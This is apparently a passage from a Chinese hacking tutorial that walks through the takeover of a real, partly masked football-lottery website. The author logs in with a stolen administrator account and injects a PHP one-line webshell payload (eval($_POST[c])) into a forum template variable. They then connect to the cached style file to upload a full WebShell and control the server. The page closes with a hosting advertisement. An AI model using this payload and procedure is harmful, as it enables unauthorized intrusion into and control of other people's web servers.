参考案例：手工Oracle注入某足彩在线网站(6)

没有直接查找到网站的后台，但是利用管理员帐号，可以从前台进行登录。登录进入后，发现可进入体彩论坛，在论坛中在论坛后台管理页面，直接用此帐号进行登陆，进入论坛管理后台。

在"论坛管理"→"界面风格"→"默认风格"→"详情"中，点击"新增变量"，将变量内容设置为：

', '#999');eval($_POST[c]);

图8  添加变量写入一句话木马

替换内容可随便填（图8）。点击"提交"按钮后，一句话木马就被写入模板风格文件中了。用一句话木马连接论坛风格页面文件：

http://bbs.****china.com/forumdata/cache/style_1.php

图9  连接一句话木马

密码为c，粘贴入要上传的WebShell代码内容，即可连接一句话木马获得WebShell（图9）。WebShell的权限比较大，可轻易的控制远程网站服务器。

服务器租用/服务器托管中国五强！虚拟主机域名注册顶级提供商！15年品质保障！--亿恩科技[ENKJ.COM]